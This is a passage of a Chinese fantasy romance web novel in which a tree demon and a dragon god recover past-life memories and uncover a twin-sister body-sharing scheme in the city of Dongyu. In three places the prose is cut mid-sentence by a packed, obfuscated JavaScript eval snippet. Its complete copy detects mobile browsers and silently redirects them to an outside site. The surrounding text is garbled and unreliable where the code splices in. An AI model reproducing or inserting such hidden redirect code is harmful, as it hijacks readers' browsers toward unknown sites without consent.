“我可以摸摸你的头吗?耳朵尖尖?”小狐狸矜持地点了点头,火红的毛毛好像愈发地红了起来。 她正开心着有这么多毛茸茸可以玩,乐不思蜀。 忽然听见一道清凉的声音自背后传来:“为什么?” “应龙?怎么这么快又找来了!”应若思及此,背对着他也没回答。 待到应龙走近她身前,她不得不避开他的视线,只一味地抚摸着小狐狸,“什么为什么,我就是想自己走走。” “走这么远,躲躲藏藏,生怕我找到?”应龙一撩衣摆,坐在了她对面。 “说真话不是怕你伤心么。”应若抬起头,她顿了顿,“我不想和你在一起。我厌倦了,我的天地,我要自己走。这样行了吧?” 对面沉默了许久,突然一个法术抢走了应若怀里的小狐狸,还一本正经地说:“这是只公狐狸,已经开了灵识,不能随便摸。”那小狐狸连声叫唤着,扑腾着要回应若那边,却被有力的手臂牢牢控制着。 “你!不讲道理,它还是个幼崽呢!你这是嫉妒,摸不到狐狸就说狐狸不能摸。”听着这无理取闹的话,应若赌气似的睁大了眼,转而一笑,捞起身边另一个歪着头的狐狸幼崽,握了握它的爪子,“那我摸这个,它是个女宝宝。嘿嘿!好可爱。” “对,我是嫉妒。”嫉妒你和它这样亲近却对我避之不及。 她低头静默一瞬,没接这话,而后不置可否地抬眼看去,“你什么时候走?” 应龙气笑了,“这就赶我走了?” “那不然,我走。” 应若垂下眼帘,轻轻抚摸小狐狸的毛毛。小狐狸却敏锐地嗅出了二人之间僵持紧张的气氛,略带不安地团成了一小团,埋下头只露出一双耳朵,小幅度地动着。 “嘤嘤,呜呜。” 它整个缩在了应若怀里,再用尾巴盖住脑袋。 “好。我走。”应龙放下在他臂弯挣动的小狐狸幼崽。 步履间,带起风,吹拂过她的侧脸。直到他的影子在地上拉长到再也不见,应若才停下机械地抚摸动作。 她克制着自己,不断地告诉自己,不要回头,不能回头。小狐狸好似明白了什么,亲昵而安慰地蹭了蹭她的手臂,眼里是莹莹的担忧。 “我也要走了,再会了。”应若最后挨个摸了摸身前一排小狐狸的脑袋。它们都乖巧地睁着眼,偶尔摇晃下尾巴。 应若迈开步子,那只被温柔抱过的小红狐竟小声叫着跟了上来。应若蹲下身,温言道:“你还小呢,不能跟我走。这儿是你的家,好好长大吧。” 她离开了这座山,悄悄跟了应龙一段路,又反复告诫自己不能再这样下去了。便随意选了个方向,飞掠着如风一般远离了。 夜晚降临时,应龙忽的转身,匆忙地回到了那座山。可那里,只有一群毛茸茸的狐狸幼崽,冲他“呜呜”直叫。 “罢了。” 于是,这一天,各自远走,谁都没有再回头。以为,天各一方,就此放手,总好过至死方休。 一年合合分分、长长短短地过去。又一个月夜,应龙靠坐在树旁闭目养神,应若在阴影处现身。她缓缓走近应龙身前,静静地站了半晌,看那月色朦胧,看这山林静谧,看树下的神明。真的是,好久不见了。 她敛眸,调动起周身全部的魔气汇于掌心,袭向应龙门面。应龙霎时睁开眼,下意识拔剑应对,“小树,你!你清醒些!” “从未如此清醒过。”她冷冷一笑,言语间,法术不停。因为对彼此过于熟悉,顷刻间便已过了几百招。她不再拘泥于招式,只是用魔气肆意攻击,应龙却一味的闪避起来,她不欲再拖延下去,索性招招致命,逼得应龙只得认真起来。 又一个回旋过后,她凝聚魔气直抵应龙心口而去,应龙出剑抵御。她双眼染墨,长发纷飞,双手全力抵在剑尖,剑气蜂鸣,但见魔气瞬间席卷了半个剑身,应龙只好蓄积灵力。 “破—” 他向前一刺,未曾想魔气阻力忽地消散,一剑便直透了她的心口。 应龙收势不及,不敢置信地看去,鲜血已然浸透了她的衣裳。沿着剑身滑落的血,刺痛了他的双眼,他不敢再去看她的眼。抽出剑柄的瞬间,她强忍着的一口血自嘴角流出。她,在离他远去,她,在夜色深处,朝着月光坠落。 “不……” 应龙强自止住颤抖的手,环住她滑落的身体,跪坐在地。他感觉到了,魔气消散了,被乾元剑斩尽了。而她,也要消散了。 “小树!” 一滴炙热的泪落在她的脸颊,她似被烫到一般,眼睫颤了颤,看向应龙氤氲的眼。 “你是清醒的,对吗?你只是装成入魔的样子,这就是你想要的结果。你累了,要放弃,是不是?”他的声音也失了往常的冷静。 她的感觉前所未有地清晰,她能感受到环着她的手臂有多么用力,也能听清他的话里有多少颤抖。 那一刻,她想说的,有很多。 她想说:“我其实很聪明的,你的那些法术,我早就会了,就是不想告诉你,怕你觉得自己教的好,让你得意。谁让你最开始的时候,说着为我好,其实是想让我自愿赴死呢。 虽然我知道,后来,你再也没有那样想过了。所以,我原谅你,你也原谅我这一次的自私吧。我们,扯平了。 其实我一直欺骗了你很多事情,后来已经忘了为什么要骗你了。可能我一直觉得神明也不可能一直善良,我想看看你到底能坚持多久。 我最开始伪装成无辜又可怜的样子,只是因为怕你杀了我,实际上我就是一个很恶劣的魔,到最后,还是骗了你。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又是万年的光景,应龙等到了小树。当不死树伸展开雪白的枝桠,应龙想,终于快了,还好,还能重新开始。 “一不留神多看了点儿,我不喜欢悬念,我喜欢看好结局。龙神和树妖大人果然厉害,足够了解自己。一个狠得下心下的了手,一个连死都不怕。”轮回经发出了孩童般的声音。 再次睁开眼,星移斗转间,仿佛一梦万年。“应若”“应时”,两人彼此呼唤,心手相连。 “对不起。”相隔万年光阴的抱歉,终于被听见,终于被原谅。遗憾和不甘在相拥中释然、填满。 二人红着眼,情绪剧烈地起伏着,是疼痛,是珍惜,万语千言,不知从何说起,终归一声嗟叹。 原来,从始至终,应时才是等待了更久的那个。在她沉睡时,他一直在期待着她醒来。 这段时日,应若已经渐渐记起了同他们一起的经历,再记起这成魔的过去,也不是太意外。她对凌云峰的熟悉也是从此而来,凌云峰,是她作为魔的殒身之地。原来所有的熟悉都有缘由,都是因为曾经来过。 也许最初的最初,龙蛋选择不死树作为诞生之地,是因冥冥之中,他们将来都会拥有强大的力量,强者生来相互吸引。更是因为不死树最易成魔,他是为阻止她入魔,成为不死之魔。 她是不死树没错,但染上了魔气的不死,意思是不死,也不活,是为邪祟。 不死,是一种状态,不死,并不等于活着。生死之间,那滴血与泪,是让不死变成活着的引线,她自愿放弃成魔,只求一死的那一刻,让真正的活着成为可能。那一念之间的抉择,是她的解脱。能够做自己,才真正能活着、不死、长生。 至于后来为什么邪魔不侵,只因剑除一切邪祟,加之龙血佑护,她的选择,给了自己重新来过的机会。不死成为了上天赐予她的礼物,而非诅咒。 从记忆深处走出来,应时也是恍然,原来应龙就是他自己。这么长时间以来,他竟是在和自己较劲,和自己比较。那些梦是应龙的记忆,也是属于他的记忆,所以他总是以应龙的视角在看、在感受。 现在的他,应当算是应龙的转世。但既然是同一个灵魂,他现在又恢复了前世的部分记忆,那也就不必再去纠结。他是应时,过往的所有经历,让他成为现在的他。所以他是他,也不只是他。 从轮回经中出来,二人俱是一阵恍惚,花染、墨悦和杜嘉毅看见他们安然无恙,终是松了口气。 “字条上面写的应当没错,与过去相同的选择才能安然离开,不然只能一遍一遍体验和重复,无休无止。别担心,这并不难。”应若安慰地拍了拍花染的手。 “只要能认清自己,明晰自己的选择,轮回经,就只是一个找回记忆的法器,并不如我们想象的那么危险。”应时压下心中翻滚的情绪和清晰起来的记忆。 “枫崖看起来也并没把它当作武器,只是珍重地佩带着。”墨悦偏头思索着。 “可能,是重要的人给他的。”应若低头看着转经筒样子的轮回经,有些出神。感觉自己的识海一分为二,一半沉浸在自己的思绪里,一半说着话。 不问不说,因你因我。 21. 东隅有木 “有道理,一般这种佩戴之物,肯定都是重要的人送的,是吧应若姐?”花染略微挑眉,意有所指地看向应若腰间的碧色玉佩。 应若终于被拽出自己的世界,“嗯,是最重要的人。话说回来,重要的人,你不是也有吗?”应若不闪不避地勾了勾嘴角。 “应若姐!”花染猝不及防地被调侃回来,难得地有些脸红,偷偷瞟了一眼墨悦。 应若已经记起了遗失的作为魔的过往,最后的选择。明己心,方能修成妖心。于己,于世间,要做一个怎样的妖,已是明了。只是现下,还不是诉衷情的时候。 “我虽为树妖,可以感知木系力量的强弱,却也只能确定一个大致的地点。因木系力量最强之处,也未必是灵脉所在。树木的根系深入泥土之中,地底往往是生命力最顽强之处。我们只能是先去东隅城,再细细探查。”应若正色道。 艳阳天,五人再次启程,策马向前,肆意无边。 花染悄悄策马靠近应若,眼神示意要单独说话,应若便轻轻控了下缰绳,放缓一步,同花染和墨悦并行,留下应时和杜嘉毅在前面不远处。 “应若姐姐,前些天我和墨悦去茶楼听书,说书的先生说应龙曾经和魔族有一段前缘,是真的吗?”花染在墨悦的掩护下,眼睛左看右看,见没人注意到这边,才压低声音问。 人们真的是好奇心很重哦,对那么久远的传说如此感兴趣。只是,身为当事人,该如何开口呢? “上古时候,有神,自然也有魔。神和魔有交集,也不奇怪,后人真假掺半地编出一些故事,听过就当一乐。你们对上古的事情这么好奇吗?” 花染了然,“好吧。应若姐,你和龙神大人可是我们的信仰!我们从小在祭礼上就听着你们的事迹,现在信仰就在眼前,哪有不好奇的道理?” 墨悦在一旁也是颇为赞同地点头,“应若姐,好不容易有机会,我也想问,朱厌和桃夭也是上古大战中的两名大将吧,我诞生地的桃林,是桃夭本相吗?” “嗯,上古大战里,一个神,三个妖加入黄帝的阵营,对抗魔族。他们俩确是两员大将,功不可没。朱厌和桃夭诞生于同一个地方,桃木是桃夭的本相。而且,她们两个,是恋人。你想问的是这个吧?”应若看向二人,他们皆是捂住嘴,连连点头,眼中满含惊讶与喜悦之情。 应若不由失笑,快乐如此简单。果然转世之后便不会再记得之前的事情了,看他们的样子,丝毫没有前世的记忆了。但为何应时却能记起?轮回经中,相拥的片刻,应若没有听错,应时语气轻缓而珍重地说:“我以前在梦里见过你,原来一切都有迹可循。” 应若正想着,不由看向前方的背影,应时似有所觉般回头,朝着她温润地笑,继而挥手,朝他们喊:“快点儿,跟上!” “来啦!” 待五人再次并辔同行,杜嘉毅随意揶揄道:“你们三个在后面说什么悄悄话了?” “没有悄悄,我们是正常声量。”墨悦瞬间反驳道。 “都是些前尘旧事啦。”花染倒是正经起来,轻咳一声,“就是上古时期的龙神、树妖、朱厌和桃夭。” 应时听得这话,故作镇定地别开视线,转头看向前方的路,突然间明白了应若之前被问这些事情的尴尬情绪,或许这就由传说走进现实的感觉。 杜嘉毅听得上古之事,露出一副很是感兴趣的表情,“快,也来说与我听听!” “对了,嘉毅哥还不知道吧,应若姐就是树妖大人,就是我们都信奉的树妖大人哦!”墨悦一脸得意,像是在分享一个惊天大秘密。 “哇!”杜嘉毅其实也早有猜测,但也还是配合地做出了惊叹的神情。 应时正想不动声色地和应若离开这是非之地,却被杜嘉毅一把拉住了衣袖,“应时,作为辰光山弟子,怎可不多了解信奉之人?” 应时只得不着痕迹地轻叹一声,听起了花染和墨悦对这二人的溢美之词。 “英明神武!” “我辈楷模!” 趁着花染和墨悦讨论得热烈,应时拉着应若快马加鞭向前冲了一段距离。 “有什么是我们不能听的吗?”墨悦在后面大喊着,伴着花染清脆的笑声,还有杜嘉毅的附和。 应时颇为无奈地朝身后挥了挥手。 “怎么?”待马蹄声放缓,应若笑问。 “你怎的都不暗示我一下呢?” “暗示什么?”应若明知故问。 “我就是应龙,应龙就是我。” “当然是你自己发觉才更有意义,更加深刻。”也更加好玩呀!应若抿着嘴尽量不笑出来,不暴露心中所想。 “是故意的吧?嗯?”应时忽然抬手,将应若的手连同缰绳一并握住。 温暖袭来,心跳不自觉地加快。这一招叫应若有些措手不及,她同应时对视了片刻,继而唇角微扬,笑得明媚,“不许吗?” “许。”许你永远。 青衫白马,意气风发,不困于过往,只念当下。 东隅,是木系灵气的发源汇集之处。 只是他们刚入城,便感受到了不同寻常的压抑氛围。几日以来雷电交加之下,接连不断的大雨刚刚停歇,城中几乎无人在街上行走,都在家中躲雨。 街道上残留着很多积水、被风刮落的树枝、砖瓦。越往东面走,离海越近,受损程度越是严重。 到了城东的边缘,那里已经有很多官兵在清理道路了,他们趟着及膝的积水,有序地忙碌着,交谈的声音也随着风声传来。 “这暴风雨,折断了不少树枝啊,海边更是有好多小树被连根拔起了。” “可不是么。但也幸亏有这些树在海边挡着,不然得有更多房屋被损毁淹没。” “说来也怪,前一阵子,这海边的树有很多都枯死了,听说是遭了虫害,要不然这次的损失也不会这么大,咱们也不用这么辛苦了。” “谁说不是呢!” “幸好章家当家人喜好草木,这些年种了不少树木。” 渐渐的,官兵们愈发地多了起来,也有不少百姓自发地开始帮忙。 “这里目前他们还能应对,没有伤亡。我们先去海边的红树林那里看看吧。”应若感应到,受到风雨伤害最大的,便是海边的红树。 此时正值涨潮,潮水淹没了红树林的大半枝干,只余树冠露出海面。远远望去,像是一个个连绵的绿色岛屿,随浪花起伏着、冲刷着、洗礼着。唰唰的声响,无惧这风浪。 几人一起站在红树林前方,应若却没有用“问灵”之术和红树对话,因为,这一大片的红树林,都已经没有灵识了。 “看来问不到因果了。”应若眺望着一棵棵在海水中浮动的绿色。 “为了抵挡风浪,红树选择以数量和坚韧作为族群壮大的方向,不约而同地放弃了个体的修行。” 应时弯下腰,在海水中划拨几下,见水中有枯死的树枝,用灵力一探,果然上面有魔气残余。“所谓的虫害,应该不是偶然,魔族又想做什么?” “这手笔,莫不是又想毁掉木灵脉?”杜嘉毅摇头不解。 “但我能感觉得到,木灵脉埋藏得很深,还算完好。”应若的话让大家稍稍安心了一些。 “不过现在,大雨过后,红树受到了不同程度的损伤,木元素有些损伤,倒是不远处的一片柏木,木系元素愈发的明显了。” 几人正准备离开此处,一名女子匆匆跑来,不顾被溅湿的衣衫,口中喊着:“嘉毅哥!” 或许因为心情过于激动,及至杜嘉毅面前,不小心被水中的浮木绊到,趔趄了一下。杜嘉毅眼神一亮,匆忙间伸手扶住她,欣喜之色溢于言表,“章英,你怎么在这儿?” 应若四人见这熟人局,默契地后退了一步,站成一排,在后面安静围观起来。 “这些年我也游历了山川人海,最后还是回到了我的故乡。你我相遇时,已是多年前。你如今还好吗?”章英难掩喜悦之情,视线掠过他身后的几人,眼梢微微翘起,颔首致意。 “我一切都好。”与故人久别重逢,杜嘉毅弯下身去,帮她把被浮木勾住的裙角解开,再站起身,同她一道前行。 应若四人在后面不由啧啧称奇,这样的杜嘉毅属实难得一见。墨悦更是似模似样地叹道:“见色忘友啊!” “看样子,我们要先去跟着见故友了。”应时了然道。 章英带着他们来到了她的住处,“这一片是我家的田庄,后面有茶园,这一边的房间各位随意就好。” “多谢。”几人进入田庄,只见亭台楼阁,檐牙高啄,花草繁茂,清丽雅致,一派怡然自得的景象。 一边参观,花染主动地走到章英身边,同她打听起来,“章姐姐,你和杜兄是怎么认识的,给我们讲讲呗!” 章英倒是显得有些不好意思,只大略地说:“我那时行商路上遇到劫匪,嘉毅正巧路过,救了我一命,我很是感激。” 她忽而又走到应时面前,行了礼,“怪我眼拙,思前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340496|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想后才认出是七皇子殿下。我年少时曾随父亲入宫,见过殿下一面。” “不必多礼,叫我应时便可。”应时无意多言,只礼貌回应。 花染倒是从这番意味不明的话中觉出了些不寻常,几步走到应若身旁,手肘碰了下应若,扬头示意她看那边。 “怎么,客套话而已。”应若见他们相对站着,应时神色疏淡,她便没多想,不甚在意。 而花染想的可是太多了,“应若姐,你有所不知。应时,他是多少少女的春闺梦里人呢!” “所以啊,你也说了,是梦里人,成不了现实的。”应若还是那幅波澜不惊的样子,“再者说,你也太善变了吧,片刻前还在看杜嘉毅的热闹,现在跑来替我操心。放心,我会注意。” 应若拍拍她的手,再顺势把她拉到墨悦身旁,然后一人不急不缓地朝前走了。 这方面,应若是真的一点儿都不担心,因为她相信应时,也相信她自己。至于章英是否另有所图,就不好说了。 经过章英身边,应若感受到了一丝微不可察的古木腐朽气息。 应若并未驻足停顿,再看那边花染和墨悦认真地在赏花,便只是走到杜嘉毅身边,开门见山直接问道:“杜兄觉得,她可信吗?” 杜嘉毅顿了片刻,脸上露出些许落寞,“我不敢说,毕竟人心易变。” 应若也点了下头,看章英还跟在应时身边,便大步走了过去。正好看见章英伸手欲挽住应时,应时装作整理袖袍,就这样闪避了一下,错过去了。 应时见应若过来,神情颇有些急切地想要解释,应若抬手止住他的话头,只看向章英:“你来说吧。” “好,那我就直说了,我的确爱慕应时。我要和你公平竞争,赢了的是正妻,输了的就是妾!”章英振振有词,听得几人却是一惊,瞬间噤声不敢言语。 应若自认情绪稳定,鲜少动怒,也几乎从未有人或是妖敢来挑衅。此时,她也切实地感觉到了不爽。她闭了闭眼,平复了一下心绪,似笑非笑地说:“竞争?真是笑话,只要他应时肯点头,又与我何干。 看来,这田庄,是不欢迎我了,你们待在这儿吧,我另寻他处去。”应若冷淡一笑,转身便走。 “应若。”应时罕见的有些慌张,几步上前意欲挽留,应若的衣角从他手中滑过,他用力握紧却是空。应时还要再拦,却被杜嘉毅挡了回来。 杜嘉毅用力握了握应时的手臂,“随她去吧,等她气消了,就会回来的。”花染听了这话更是怒从心起,正要发火,被墨悦及时安抚下来。 几人各自回房间歇息的时候,应时回想起方才杜嘉毅和自己说的话,“应若让我配合她,拦住你。” 应时心下安定许多,思来想去,却总觉得虽说是演戏,应若或多或少,是真的有点儿生气了。等她回来,他还是要说清楚才是。 墨悦找到花染,语气轻松地拍拍她的发顶,“别担心。注意到了吗,嘉毅哥在时哥手臂上写了个字。” “什么?”花染一把抓住墨悦的手臂摇晃着,“你快说,别故弄玄虚!” 墨悦轻轻拉过花染的手臂,也一笔一划地写了一个字,花染仔细地感受着,恍然道:“戏!” “明白了吧,兵分两路,我们三个要在这边稳住章英,应若姐另有打算,咱们可得演好这出戏。”说话间,给花染倒了一杯茶,“来,消消气。” “嗯。这茶的味道有些熟悉,奈何我对茶没有什么兴趣。”花染径直将茶水大口大口喝了下去。 “我就说这章英居心叵测吧,可还得和她演一出姐妹情深的戏码。” 应若这边,悄悄走进一家卖皮影的小店铺,余光中,远处两个藏青色衣着侍从打扮的人还在左顾右盼。应若和店家简单交谈了几句,学着上下摆弄了几下,又买了几个皮影放入袖中走了出来。 城中大部分的房屋和街道已经恢复了原貌,应若一路沿着城中大道买了些吃食,一边吃一边走,时而还因为美味惊喜点头,悠闲自在得很。 最后,应若住进了城中心的一家客栈,关门,点灯烛,布结界。 门外,两个盯梢的人见应若的影子映在门扉上,她应当是坐在屋中的案台边,以手支着头。二人眼神交汇,合计了一下,决定一个把守在房门外不远处,一个把守在客栈的大门外。 与此同时,应若已经从客栈的窗边离开,循着用妖力截住的那一丝微弱的腐木的气息,来到了郊外的一处柏树林。 千木林森,生生不息。 22. 落英缤纷 幽暗的树林静默无比,没有一只飞鸟经过。而这些柏树虽无灵识,但似乎被保护得很好。 借着落日最后一抹灰蓝色的光,柏林深处隐约有人影晃动,应是在把守着结界,有换班轮值的人从另一边来了。 “藏青色。”应若低喃。这衣着和田庄里的侍卫是一样的颜色。 应若隐好身形,接近结界。一声“无念”,正门处看守的侍卫瞳孔放大一瞬,人还立在那儿,却对周遭一切都无所察觉了。 应若持剑在身前,绿色剑光瞬间划过,结界便出现了一道裂痕,应若轻巧地潜身而入,指尖轻点便恢复了结界。静悄悄的,无一丝痕迹。 结界内,石碑林立。这里,是章家的墓地。 月上枝头,客栈里,那两名侍卫还在尽职尽责地盯着,过了一会儿,屋内烛光熄灭了。二人见无人出入,便也放下心来。 应若房间里,却并不见她的身影。灯烛已燃尽,案台上还立着一个女子身形的皮影,皮影后面长短不一的提线垂在地上,每根提线后面都有一截燃烧殆尽的蜡烛。 田庄里,章英正与几人采茶,说是别有雅趣。花染便也附和着:“月下采茶,心境清明!”说话间,她不着痕迹地帮应时避开章英,应时感激地朝花染略一点头。 花染亲热地挽上章英的手臂,“章姐姐,你的生意赚了很多钱吧,我好羡慕,也好佩服你。以后啊,要是谁能娶到姐姐,那可是极大的福气!” 花染脸上笑容真切动人,心里却是在念着:“罪过,罪过。应若姐,希望你那边顺利,快回来吧,我要坚持不住了。” 章英倒是对花染的夸赞颇为受用,便也十分自然地打听起了应时和应若的事情,“他们、不是恋人吧?” “当然不是。”花染一挑眉,笃定地回答。心里暗自腹诽,“还不是因为应时哥还没表白!” “不过,章姐姐这般聪慧美丽的女子,又懂得商贾之道,喜欢他什么呢?”花染状似关心地问道。 章英的神情变得有些奇异莫测,“其实,我小时候同应时有婚约,是他母亲与我母亲约定的。只是他母亲早逝,我父母也在几年前亡故,这事情也就不了了之了。 但我这些年来,一直都认定,他是我的夫君。我知他不再做皇子,行踪不定。而如今我们相遇,这就是天定的缘分,我一定要牢牢把握住。”她说着,握紧了双手,就像她要抓住的人一样。 花染被这故事惊住了,没成想,还牵扯到了婚约上,她灵机一动,道:“原来如此,但是章姐姐,切不可操之过急,要若即若离,才能让男人死心塌地。” 章英细细体味这句话,觉得颇有道理,“我记下了,还是你技高一筹,难怪墨悦对你如此情根深种。” 墨悦一直在另一侧帮花染提着采茶的竹篓,并不插话,闻言只是恰到好处地笑着。 而应时和杜嘉毅在她们后面不远处,也是听得清清楚楚、明明白白。应时的神情先是疑惑而后归于平静,杜嘉毅却是微微皱起了眉头。 各怀心事地采好茶,章英将自己所采的茶叶递至应时面前,“这是我采的茶,若不嫌弃,尽管品鉴。”她余光掠过杜嘉毅,若有所思。 “多谢。”应时淡淡接过,心中却暗暗道,“我嫌弃,不嫌弃的另有其人。” 一阵风吹过,树影婆娑,枝叶沙沙作响。 在墓地中,应若找到了三块墓碑。章英的父母、还有姐姐章落。应若用“探灵”之术感知了一下,讶异抬眸。 章落的棺中,竟是空的。 她忆起路上和人闲谈时打听到的。十几年前,一场疫病席卷东隅,幸有一位道长云游至此,替城中之人医治。病情好转后,那道长言之凿凿,说章府双生子一正一邪,姐姐章落留在东隅易生心魔,嗔怨生祸,唯有把她送走,才能保东隅城安宁。 虽然那时姐妹俩尚在襁褓之中,但城中之人大多宁信其有,皆言章家身为商贾之首,也当为民所想,一时间谣言四起。不久后,传出消息,章落得了急症,药石无医,病逝了。 “想来,是另有隐情了。”应若思忖间,抬步向墓地后方的柏木林走去。忽听耳边一阵疾风,她下意识一剑挥去,却是应时。 他身姿清俊,微弯着眼眸,眼中倒映泠然月光。应若收剑,凝眸环顾四周,“你怎么来的?” “猜猜看。”应时语气中暗含着一丝得意,眉眼之间笑意温煦。 “忽然而至,须得有引。是牵丝之术,可探行踪?”应若上下检查自己的衣摆,也好奇起来,“所牵之物在哪?” 目光落在腰间的玉佩上,应若指尖拂过玉佩,抬眼盯住应时,揶揄道:“竟是玉佩,深谋远虑啊。” “你是想说我处心积虑吧?”应时觑着她的神色。 “是你说的,我可没说。”应若不置可否。 “你知道我的真心,玉佩是作保护之用,并非有意窥探。章英之事,我想同你解释,却又不知该如何解释。我问心无愧。”应时抬手,隔着应若的衣袖拉过她的手,覆于自己心口处。 应若猝不及防间向前踉跄了半步,拉近的距离,交错的呼吸,应若耳根泛起一丝薄红。她没再抬眸,只平视盯着眼前,那是应时的手,是她手背上隔不住的温热来源。也是她掌心下,隔不住的心跳声。 应若听着渐渐加快的心跳,不知是他的,还是她自己的,抑或都有。 “知道了,说正事。”应若抽回手,尽量自然地理了理衣袖,继而转身向前走了。应时也轻轻呼出一口气,平复了下心跳,同她并肩。 “你能看出章英的本相吗?她的气息有些奇怪,半人半妖气息混杂。”她正色道。 应时若有所思,想起了从前师父同他讲过的事情,“从前听我师父说,有人为了增强灵力,以妖血灌注于身体,或是在生死攸关的时刻,求一线生机。” “竟有这种事?”应若震惊,眉心皱起,同应时说起了章落之事。 应时也说起一桩事,“章家的院落我大致看过,正房原先住的是章家父母,东西两个厢房皆是布设的女子样式,应当是两个女儿的。章英带我们经过的是西厢房,但实际上,她住的却是东厢房。” “章家只有两个女儿,理应是长女住在东厢房。”二人目光交汇,异口同声道:“她是章落?” “那真正的章英在哪?”应若刚问出口,便被眼前所见止住了话音。墓地尽头,一棵一棵的柏木环绕着的,是一口楠木棺,棺盖上刻着两个字-章英。 “得罪了。”应时见此情形,持剑而立,灵气激荡而出,沉重的棺柩随之徐徐打开,一个女子安睡的容颜渐渐显露了出来。 应若探了下她的生息,“还好,还活着。” “像是共生寄灵一类的法术。”应时弯下身查看。 “她是木系妖族,可直接问灵过往,一起看看吧。”应若抬手,起落间,墨绿色的妖力闪过,章英识海中的画面一一浮现在二人眼前。 章英最后的记忆是在一遍又一遍地念着,“我是章英,还是章落?” 那时,章家对外宣称章落病故,但实际上,章落生病是真的,药石无医也是真的,最后救她一命的,是章英的血。 章家这一对女儿,章落是人族血脉,章英是妖族血脉,是一人一妖的双生。 彼时,尚在襁褓之中的章英,像是感应到了姐姐的痛苦,主动划破手指放在她嘴边,而章落咽下了滴落在口中的妖血后,竟然奇迹般地渐渐好起来了。 章父章母于心不忍,将姐妹俩一起养大,同样关爱,悉心教导,只是不允许章落外出露面。 姐妹二人性格迥异,妹妹章英活泼,喜好商道,擅长剑术,而姐姐章落安静,无意商道,喜爱花草,奇闻秘术。一家人,在一起,笑口常开。 那年,章氏成了商贸行首,章英得以同父母一起入宫觐见。恰好章母同应时的母妃是旧识,一面之缘,两家约定婚事,少女心事从此开始。 可谁知,一场大火,烧毁了所有。 那是一场阴谋,意图将他们尽数灭口。 章母带章英出宫时,不小心撞见了杀人沉塘的现场,来不及思索,就赶紧离开了。杀人的,是应时的母妃,看着她们远去的背影,她的嘴角勾出一个嘲讽的弧度。 “可惜了。” 当天夜里,章家落脚的驿馆走水。大火蔓延,浓烟四起。被烧断的横梁、木头裹不断砸落,火光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“姐姐,你陪着我,好不好,我不想一个人。”章英只是轻轻地拉住了章落的衣角,章落便立刻停下了。 她拭去泪水,转身坐回妹妹身旁,“好。” “这些年,姐姐一直小心谨慎,怕被人发现。以后,姐姐不用怕了,姐姐要活下去,带着我的那份一起。” “不!” 章英眼中泪光满溢,却见章落以血结印,“同根共生”,一阵刺眼的光芒闪过,她感到一阵春风拂过的温暖舒适,毒带来的疼痛都消失了,她只想安心的睡一个好觉。 “我要我们一起活着。”章落眼中是全然的坚毅,“即使短暂。” 章落告诉她,同根共生之术是章家藏书中的禁术,以章英的本相柏树为阵,以血脉相连的人为系,以双生的植物为引,章英便可以和章落共享生命,平分生命的长度。 毒虽然还残留在章英体内,但她只会沉睡着,不会死,也不会痛。原本属于她的疼痛会转移到章落的身上。而章落的所闻所见,可以通过梦,让章英身临其境,二人也可以互诉衷肠。 就这样,章落以章英的身份长大,幸而城中百姓和亲友善良,帮助她良多,她也将章家的商贸发扬光大。 章落本想去找应时的母妃报仇,却得知,她在章英被送回东隅城后没多久,便因为后宫的倾轧,死了。 画面再一转,便是几天前,章英在梦中轻声说:“姐姐,替我看看,应时,是个怎样的人。” 看到这里,应若和应时视线相交。“你母妃……”应若欲言又止。 应时释然一叹:“我去辰光山修行之后才知道,我母妃是个什么样的人。冤冤相报,罪有应得吧。” 应若转过头,敛目凝望着棺柩中恬静的睡颜,“是我们想岔了,共生之术,是她们自愿的,强求得来的生机。章落接近你,也都是试探和迷惑。” “双生秘术”,两人眸光一凛,“有危险!双生秘术中,生的一方会拥有附近所有双生之物的力量,我们赶紧回去!”应时当机立断。 “但她所求为何?延长生命吗?” “也不知她是被利用,还是本意如此。” 二人重新踏入田庄的那一刻,章落瞳孔墨染,邪肆一笑,“都来了也好。让我看看,你们的厉害!” 落英缤纷,不愿成尘。 23. 孤影成双 田庄内刀光剑影,杀气凛冽。竟是花染、墨悦和杜嘉毅三人,神智不清、不分敌我地打在一起,招招致命、不留余地。 应若与应时立刻横剑身前,剑芒辉映大盛之时,墨绿色的妖力如一个个枝条迅速蔓延开,墨蓝色的灵力如海水般汹涌澎湃,蓝绿交织,笼罩住整片迷障。 “散!” 剑气破天地,两柄剑,两道灵气,穿行所过之处,迷障退散。 花染三人终于清醒过来,后知后觉地感受到了身体传来的疼痛。 “你们怎么样?”应若和应时急忙在他们身旁,以灵力辅助他们疗伤,并简单地叙述了一下章落之事。 “是荧惑之毒,无色无味,不分黑白,自相残杀。”杜嘉毅调息片刻,缓缓说道。 “她是何时下的毒?”花染擦去嘴角的血迹,恨恨地说。 “是我们三个中了毒,我们怎么中的毒呢?”墨悦盘膝而坐,几人简单回想着这一天发生的每一帧画面,交谈、游览、用膳、采茶、品茶…… “时哥,你今日喝茶了吗?”墨悦问道。 “未曾。”应时答道。 “我喝了。”花染、墨悦、杜嘉毅同声道。 “那就是茶水了。”应若若有所思,“竟还会用毒。” “哈哈哈”,一阵诡异的笑声响起,章落的声音从四面八方传来。 “算你们聪明。来者都是客,这就送你们一份大礼。此阵名为孤影成双,入我阵者,生死由命。哈哈哈—” 大阵悄然开启。 田庄内,时间在这一刻仿佛被忽然按下了暂停键。这个空间里,无风无动,唯有心念周旋于阵中。 月光下,五人皆是一动不动,保持着前一秒的动作,静止着。而她们的影子,却好似有了生命一般,突然动了起来。 